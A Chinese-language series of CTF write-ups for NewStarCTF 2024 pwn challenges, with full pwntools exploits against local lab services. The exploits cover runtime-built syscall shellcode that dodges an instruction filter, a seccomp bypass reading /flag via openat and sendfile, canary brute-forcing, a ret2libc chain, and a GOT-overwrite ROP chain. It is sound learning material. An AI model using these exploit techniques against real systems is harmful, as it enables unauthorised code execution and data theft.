【pwn】newstar2024 Bad Asm 考点 代码试图阻止用户使用syscall和sysenter指令,但允许其他指令
看来是检查绕过方面的内容
分析 就一个文件,先看看护盾
IDA启动
“ERROR \\ Unavailable ! : syscall/sysenter/int 0x80”
过滤了syscall / sysenter / int 0x80 的汇编指令的机器码
使用mmap分配可执行内存,绕过了数据执行保护(DEP),使得shellcode能够执行
这是一个无限递归的strcpy实现,会导致栈溢出崩溃
接受一个函数指针 a1 和参数 a2,并使用多个零值参数调用该函数指针
exec(dest)将dest的内容当作函数指针执行
方案: 1.read二次加载,分段执行
执行流程 :
恢复rsp,使其指向可读写内存区域
使用异或运算动态生成syscall指令(0x0f05)
将syscall写入shellcode末尾
调用read等待用户输入第二阶段shellcode
第二阶段shellcode直接包含execve(“/bin/sh”,0,0)
2.直接execve调用
3.栈上执行syscall
EXP 1.read二次加载,分段执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #!/usr/bin/env python3 from pwn import * context.log_level = 'info' context(arch='amd64', os='linux') p = remote('127.0.0.1', 39273) # 第一阶段shellcode:设置栈指针并准备read调用 stage1 = ''' mov rsp, rdi mov rax, rdi add sp, 0x0848 mov rsi, rdi mov dx, 0x3fff mov cx, 0x454f xor cx, 0x4040 add al, 0x40 mov [rax], cx xor rdi, rdi xor rax, rax ''' # 发送第一阶段shellcode,用nop填充到0x40字节 p.sendafter("Input your Code :", asm(stage1).ljust(0x40, b'\x90')) # 第二阶段:发送真正的execve shellcode # 0x42个'a'用于覆盖第一阶段shellcode和nop payload = b'a' * 0x42 + asm(shellcraft.sh()) p.send(payload) p.interactive()
success
2.直接execve调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context.log_level='debug' context(arch='amd64', os='linux') context.terminal=['tmux', 'splitw', '-h'] p = remote('127.0.0.1', 39273) shellcode=''' mov rsp, rdi add sp, 0x0848 ; // 给rsp一个合法值,使程序能正常执行push/pop,同时增加0x848字节的栈空间,避免覆盖重要数据 mov rsi, 0x4028636f2e49226f mov rdx, 0x4040104040204040 xor rsi, rdx push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面 mov ax, 0x454f ; // AX = 0x454f xor ax, 0x4040 ; // 0x454f XOR 0x4040 = 0x050f mov rsi, rdi ; // RSI = RDI add sil, 0x40 ; // RSI 的低字节加 0x40 mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面 mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00' xor rsi, rsi ; // rsi = 0 xor rdx, rdx ; // rdx = 0 xor rax, rax ; // rax = 0 mov al, 59 ; // syscall: execve ''' p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) p.interactive()
success
3.栈上执行syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * context.log_level = 'info' context(arch='amd64', os='linux') p = remote('127.0.0.1', 39273) shellcode = ''' mov rsp, rdi add sp, 0x0848 ; //构造"/bin///sh"字符串(用了三个斜杠,是为了对齐,避免空字节,多余的斜杠在Linux中不会影响执行) push 0x68 mov rax, 0x732f2f2f6e69622f push rax ; //设置execve参数等效execve("/bin/sh", NULL, NULL) mov rdi, rsp ; //文件名参数 -> "/bin///sh" xor rsi, rsi ; //argv参数 -> NULL,在简单shellcode中通常设为NULL以减少复杂性 xor rdx, rdx ; //envp参数 -> NULL,在简单shellcode中通常设为NULL以减少复杂性 xor rax, rax mov al, 59 ; //系统调用号 -> execve(59) ; //在栈上生成syscall指令 mov cx, 0xf5ff xor cx, 0xf0f0 push rcx jmp rsp ''' # 直接发送shellcode,不需要nop填充 p.sendafter("Input your Code :", asm(shellcode)) p.interactive()
success
summary 开眼了,还能用动态构造的方式植入syscall指令
【pwn】newstar2024 Easy_Shellcode 考点 出题人给了点提示
“ 呐呐 ~ 雑魚哥哥不会这样就被小小沙箱捉弄的不会说话了吧 ♡ 真是弱哎 ♡~ ”
看来是sandbox方面的内容
分析 我管你这儿那的,先看看护盾😋
还行
IDA启动!
find “sandbox();”
点进去发现是好长一串,看来用IDA看这个不合适
1 2 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
只允许 x86_64 架构的程序运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL # 禁止 execve (59/0x3b) 0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007 0006: 0x06 0x00 0x00 0x00000000 return KILL # 禁止 execveat (322/0x142) 0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL # 禁止 open (2) 0011: 0x15 0x00 0x01 0x000001b5 if (A != 437) goto 0013 0012: 0x06 0x00 0x00 0x00000000 return KILL # 禁止系统调用 437 (可能是 tkill) 0013: 0x15 0x00 0x01 0x00000000 if (A != 0) goto 0015 0014: 0x06 0x00 0x00 0x00000000 return KILL # 禁止 read (0) 0015: 0x15 0x00 0x01 0x00000013 if (A != 19) goto 0017 0016: 0x06 0x00 0x00 0x00000000 return KILL # 禁止 readv (19) 0017: 0x15 0x00 0x01 0x00000127 if (A != 295) goto 0019 0018: 0x06 0x00 0x00 0x00000000 return KILL # 禁止系统调用 295 (可能是 preadv) 0021: 0x15 0x00 0x01 0x00000011 if (A != 17) goto 0023 0022: 0x06 0x00 0x00 0x00000000 return KILL # 禁止 pread64 (17) 0023: 0x15 0x00 0x01 0x00000001 if (A != 1) goto 0025 0024: 0x06 0x00 0x00 0x00000000 return KILL # 禁止 write (1)
禁止传统文件操作 :open, read, write
禁止执行新程序 :execve, execveat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0009: 0x15 0x00 0x01 0x00000101 if (A != 257) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW # 允许 openat (257) 0019: 0x15 0x00 0x01 0x00000147 if (A != 327) goto 0021 0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW # 允许 preadv2 (327) 0025: 0x15 0x00 0x01 0x00000014 if (A != 20) goto 0027 0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW # 允许 writev (20) 0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW # 默认允许其他所有系统调用
可以使用 openat (257) 代替 open
可以使用 preadv2 (327) 代替read
可以使用 writev (20) 代替 wirte
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * context(log_level='info', arch='amd64', os='linux') p = remote('127.0.0.1', 37027) shellcode = ''' /* 设置栈指针到安全区域 */ mov rsp, 0x4040c0 ''' # 使用 openat 打开 flag 文件 shellcode += shellcraft.openat(-100, "/flag", 0, 0) # 使用 sendfile 将内容从文件描述符3传输到stdout shellcode += shellcraft.sendfile(1, 3, 0, 0x100) payload = asm(shellcode) p.sendlineafter(b'Welcome to Shellcode World!', payload) p.interactive()
success
summary 小小sandbox,不过如此
【pwn】newstar2024 ezcanary 考点 出题人曰:我开了那么多保护,一定很安全吧 ~
可能是绕过 Canary 保护方面的
卸甲!!!
分析 经典看看盾
1) 没有开启PIE(地址固定) 和 2) 没有被Stripped(保留了符号)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 text:0000000000401236 ; __unwind { .text:0000000000401236 endbr64 .text:000000000040123A push rbp .text:000000000040123B mov rbp, rsp .text:000000000040123E sub rsp, 10h .text:0000000000401242 mov rax, fs:28h .text:000000000040124B mov [rbp+var_8], rax .text:000000000040124F xor eax, eax .text:0000000000401251 lea rdi, command ; "/bin/sh" .text:0000000000401258 call _system .text:000000000040125D nop .text:000000000040125E mov rax, [rbp+var_8] .text:0000000000401262 xor rax, fs:28h .text:000000000040126B jz short locret_401272 .text:000000000040126D call ___stack_chk_fail .text:0000000000401272 ; --------------------------------------------------------------------------- .text:0000000000401272 .text:0000000000401272 locret_401272: ; CODE XREF: getshell+35↑j .text:0000000000401272 leave .text:0000000000401273 retn .text:0000000000401273 ; } // starts at 401236 .text:0000000000401273 getshell endp
有后门函数getshell
IDA启动
三个read经典栈溢出
程序执行流程:
设置保护 :初始化栈金丝雀
进入循环 :
子进程 :显示提示 → 读取用户输入(存在溢出) → 退出
父进程 :等待子进程结束 → 读取用户输入 → 检查是否为"cat flag\n"
退出条件 :只有当父进程收到"cat flag\n"时才退出循环
最终输出 :打印"flag is one_by_one_bruteforce"
设计的目的:
制造一个“沙盒”环境 :子进程成为了一个可以随意搞破坏的“试验场”。
利用独立性 :
在子进程中进行栈溢出攻击 ,可能会破坏栈上的金丝雀值,导致子进程崩溃
但由于父子进程内存独立,父进程中的金丝雀值依然是完好的
子进程崩溃后,父进程通过 wait(0) 回收它,然后继续正常运行 ,进入下一次循环
为暴力破解创造条件 :因为子进程每次都是“全新”的,并且崩溃了也没关系,攻击者可以一次又一次地尝试,比如一字节一字节地猜测金丝雀的值,直到子进程不崩溃,就意味着猜对了(用来隔离漏洞利用的副作用 ,使得攻击者可以在子进程中安全地进行试探和暴力破解,而不会影响主程序的稳定运行)
好吧,出了点小问题
本地测试通过了
切换到远程就变成这样了
方案: 爆破就对了
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #_*_ coding:utf-8 _*_ from pwn import * elf = ELF("./ezcanary") context(arch=elf.arch, os=elf.os) context.log_level = 'debug' #p = process([elf.path]) p = remote('127.0.0.1',40745) # 直接爆破canary can = b'\x00' for i in range(7): for j in range(256): time.sleep(0.1) payload1 = (0x60-8) * b'a' + can + p8(j) p.sendafter('你觉得呢?\n', payload1) info = p.recvuntil('\n') if b"*** stack smashing detected ***" in info: p.send('n\n') continue else: can += p8(j) break if i != 6: p.send('a\n') else: p.sendline('cat flag') canary = u64(can) print(f"Canary: {hex(canary)}") getshell = 0x401251 payload2 = b"a" * (0x60-8) + p64(canary) + p64(0) + p64(getshell) p.sendafter("bruteforce\n", payload2) p.interactive()
本地运行没问题,远程环境就卡在第4个bt爆不出来
gdb调试一下
summary 就是靶场的问题
【pwn】newstar2024 ez_game 之前写过了,现在把md文件中的内容总结到语雀里
考点 ret2libc
分析 经典看看护盾😋
出题人曰:没有了后门也能打通吧
ida启动
确实没有后门
方案:
第一次溢出泄露 libc 地址
计算 system 和 /bin/sh 的真实地址
第二次溢出执行 system(“/bin/sh”) 获取 shell
信息搜集
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context(os='linux', arch='amd64', log_level='debug') flag = 0 if flag == 1: p = remote('127.0.0.1', 34083) else: p = process('./attachment') elf = ELF('./attachment') libc = ELF("./libc-2.31.so") # 获取必要的地址 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x400686 pop_rdi = 0x400783 ret_addr = 0x400509 # 第一次溢出:泄露 puts 地址 payload = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.recvuntil(b'Welcome to NewStarCTF!!!!\n') p.send(payload) # 接收泄露的地址 p.recvuntil(b'Try again!!\n') puts_addr = u64(p.recv(6).ljust(8, b'\x00')) log.info(f"Leaked puts address: {hex(puts_addr)}") # 计算 libc 基地址 libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) log.info(f"Libc base: {hex(libc_base)}") log.info(f"System address: {hex(system_addr)}") log.info(f"/bin/sh address: {hex(binsh_addr)}") # 第二次溢出:调用 system("/bin/sh") payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) p.recvuntil(b'Welcome to NewStarCTF!!!!\n') p.send(payload) p.interactive()
???,怎么回事
可能是地址出错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context(os='linux', arch='amd64', log_level='debug') flag = 1 if flag == 1: p = remote('127.0.0.1', 34803) else: p = process('./attachment') elf = ELF('./attachment') libc = ELF("./libc-2.31.so") # 获取必要的地址 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] pop_rdi = 0x400783 ret_addr = 0x400509 # 第一次溢出:泄露 puts 地址 payload = b'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.recvuntil(b'Welcome to NewStarCTF!!!!\n') p.send(payload) # 接收泄露的地址 p.recvuntil(b'Try again!!\n') puts_addr = u64(p.recv(6).ljust(8, b'\x00')) log.info(f"Leaked puts address: {hex(puts_addr)}") # 计算 libc 基地址 libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) log.info(f"Libc base: {hex(libc_base)}") log.info(f"System address: {hex(system_addr)}") log.info(f"/bin/sh address: {hex(binsh_addr)}") # 第二次溢出:调用 system("/bin/sh") payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) #p.recvuntil(b'Welcome to NewStarCTF!!!!\n') p.send(payload) p.interactive()
第二次溢出:调用 system(“/bin/sh”) payload = b’a’ * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
#p.recvuntil(b’Welcome to NewStarCTF!!!!\n’)
p.send(payload)
第二次溢出中就不需要这个了‘p.recvuntil(b’Welcome to NewStarCTF!!!!\n’)’
success
summary 出题人和AI都不要信
【pwn】newstar2024 One Last B1te 考点 发现了sandbox和libc
GOT覆盖攻击?
出题人曰:3, 2, 1, GOT 1t !
分析 题目给了三个文件
经典看看护盾😋
RELRO (Relocation Read-Only)
部分RELRO保护,GOT表可写,存在GOT覆盖攻击的风险
Partial RELRO : GOT表仍可写,可通过漏洞覆盖GOT条目劫持控制流
Full RELRO : GOT表完全只读,但会增加程序启动时间
没有栈保护,易发生栈溢出
数据段不可执行,防止在栈或堆上执行shellcode
代码段地址固定,rop启动
SHSTK (Shadow Stack)
影子栈保护,用于控制流完整性
IBT (Indirect Branch Tracking)
间接分支跟踪,防止JOP/COP攻击
(
ROP : 利用已有的代码片段(gadget)构造攻击链
JOP/COP: 跳转导向/调用导向编程)
Stripped
符号表未剥离,便于调试和分析
总结:
可利用 :
❌** 无栈金丝雀 → 直接栈溢出**
❌** 无PIE → 固定地址易于计算**
⚠️** 部分RELRO → GOT可覆盖**
开的盾:
✅** NX → 不能执行shellcode**
✅** SHSTK → 返回地址保护**
✅** IBT → 间接跳转保护**
存在延迟绑定 + GOT 表可写
看看sandbox
0005: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0009
0006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0009
0007: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0009
这三个寄掉了qwq
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
确保只在 x86_64 架构上运行
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
将当前系统调用号加载到累加器 A
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
如果系统调用号 < 0x40000000,跳转到 0005
如果系统调用号 ≠ -1 (0xffffffff),跳转到 0009 (KILL)
作用 : 只允许普通系统调用或特殊的 -1 值
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
作用 : 允许所有其他系统调用
看样子可以试试ORW (Open-Read-Write) 攻击
IDA启动
栈溢出 : read(0, v5, 0x110u) 写入0x110字节到仅16字节的v5数组,可覆盖返回地址。
任意地址写 : 通过read(0, &buf, 8u)控制buf指针,然后read(0, buf, 1u)向指定地址写入一个字节。
seccomp规则 : 禁止execve和execveat,但允许其他系统调用(如open、read、write)。
保护机制 : 无PIE(地址固定)、无栈金丝雀,但启用了SHSTK和IBT,因此ROP链需跳转到以endbr64开头的地址。
看看libc版本
2.39
版本有点新
(ok,补了一些关于plt 和got表的知识,原理理解了)
层层传输说是
小小的gdb调试
然后用ROPgadget找找gadgets,
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import* context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h'] ELFpath = './pwn' p=remote('localhost',44791) close_got=0x404028 write_plt=0x4010c0 p.sendafter("Show me your UN-Lucky number :",p64(close_got)) p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\xc0') ret=0x0401447 main=0x4013a3 rubbish=0x404000+0x800 payload=b'a'*0x18+p64(ret)+p64(main) p.send(payload) p.recvuntil(b'a'*0x18) p.recv(0xb8-0x18) libc_base=u64(p.recv(6)+b'\x00\x00')-0x710b26c2a28b+0x710b26c00000 p.sendafter("Show me your UN-Lucky number :",p64(rubbish)) p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\x70') pop_rdi=libc_base+0x010f75b pop_rsi=libc_base+0x110a4d binsh=libc_base+0x1cb42f xchg_edx_eax=libc_base+0x01a7f27 pop_rax=libc_base+0x0dd237 open_a=libc_base+0x011B120 read_a=libc_base+0x011BA50 mprotect=libc_base+0x00125C10 payload=b'a'*0x18+p64(pop_rdi)+p64(libc_base+0x202000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax)+p64(7)+p64(xchg_edx_eax)+p64(mprotect)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc_base+0x202000)+p64(pop_rax)+p64(0x1000)+p64(xchg_edx_eax)+p64(read_a)+p64(libc_base+0x202000) p.send(payload) shellcode='' shellcode+=shellcraft.open('./flag',0,0) shellcode+=shellcraft.read('rax',libc_base+0x202000+0x800,0x100) shellcode+=shellcraft.write(2,libc_base+0x202000+0x800,'rax') p.send(asm(shellcode)) p.interactive()
success
summary 接下来把之前的题复盘一遍